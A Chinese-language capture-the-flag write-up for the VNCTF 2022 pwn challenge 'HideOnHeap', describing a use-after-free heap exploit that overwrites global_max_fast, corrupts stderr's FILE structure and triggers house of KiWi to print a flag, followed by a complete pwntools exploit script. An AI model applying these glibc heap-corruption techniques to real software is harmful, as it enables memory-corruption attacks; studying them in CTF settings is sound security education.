VNCTF 2022 Pwn HideOnHeap
今天出去玩了一天回来后,有同学问我今天VNCTF 2022
里的一道Pwn
题,说是唯一零解的题,我看了下,想了十几分钟就出思路了,写起来也很容易,不牵涉到复杂的堆风水布局,抢在官方wp
出来之前分享一下吧,相关附件在BUUOJ
上都是有下载的。
漏洞很明显,一个UAF
漏洞,flag
被读到了堆上,没有show
,也没有IO
相关的函数,下面说一下思路:先UAF
改大global_max_fast
,然后free
掉存放flag
的堆块地址临近的0x14C0
大小的大堆块,这样该堆块的地址就写到了stderr
的_IO_write_base
,然后再两次UAF
:第一次UAF
改stderr
的_flags
为0xFBAD1887
,并且改_IO_write_base
的后两位为存放flag
的堆块的后两位,第二次UAF
改top chunk
的size
,把它改成非法,然后申请个大堆快,触发house of KiWi
,就会走到其中的_IO_new_file_xsputn
,相当于有IO
函数了。其中UAF
改global_max_fast
和stderr
都是爆破tcache
的fd
(libc
相关地址)的最后两字节,这两个libc
位置相对距离一定,所以一次对了,另一次一定是对的,还是只要大约1/16
的概率爆破。
下面贴上exp
,注意一些小细节就好:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
s = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# s = remote("node4.buuoj.cn", 25580)
# libc = ELF('./libc.so.6')
def add(size):
s.sendlineafter(b'Choice:' , b'1')
s.sendlineafter(b'Size:' , str(size).encode())
def edit(index,content):
s.sendlineafter(b'Choice:' , b'2')
s.sendlineafter(b'Index:' , str(index).encode())
s.sendafter(b'Content:' , content)
def delete(index):
s.sendlineafter(b'Choice:' , b'3')
s.sendlineafter(b'Index:' , str(index).encode())
def pwn():
add(0x14b0) # 0
for i in range(7):
add(0x50) # 1-7
for i in range(7):
add(0x60) # 8-14
add(0x90) # 15
add(0x90) # 16
add(0x90) # 17
add(0x90) # 18
add(0x420) # 19
for i in range(1,8):
delete(i)
for i in range(8,15):
delete(i)
delete(15)
add(0x90) # 1 = 15
delete(16)
add(0x90) # 2 = 16
delete(19)
add(0x420) # 3 = 19
delete(19)
add(0x410) # 4
edit(3 , b'\x00'*0x410 + p64(0) + p64(0x233))
for i in range(7):
delete(15)
edit(1 , b'a'*0x10)
delete(15)
add(0x10) # 5
edit(1 , b'\x80\xbb')
add(0x90) # 6
add(0x90) # 7 global_max_fast
add(0x70) # 8 to clean unsorted bin
for i in range(2):
delete(16)
edit(2 , b'\x00'*0x10)
delete(16)
add(0x10) # 9
edit(2 , b'\xc0\x95')
add(0x90) # 10
add(0x90) # 11 _IO_2_1_stderr_
edit(7 , p64(0x666666))
delete(0)
edit(11 , p64(0xfbad1887) + p64(0)*3 + b'\x00')
edit(7 , p64(0x80))
add(0x888)
s.interactive()
if __name__ == '__main__':
pwn()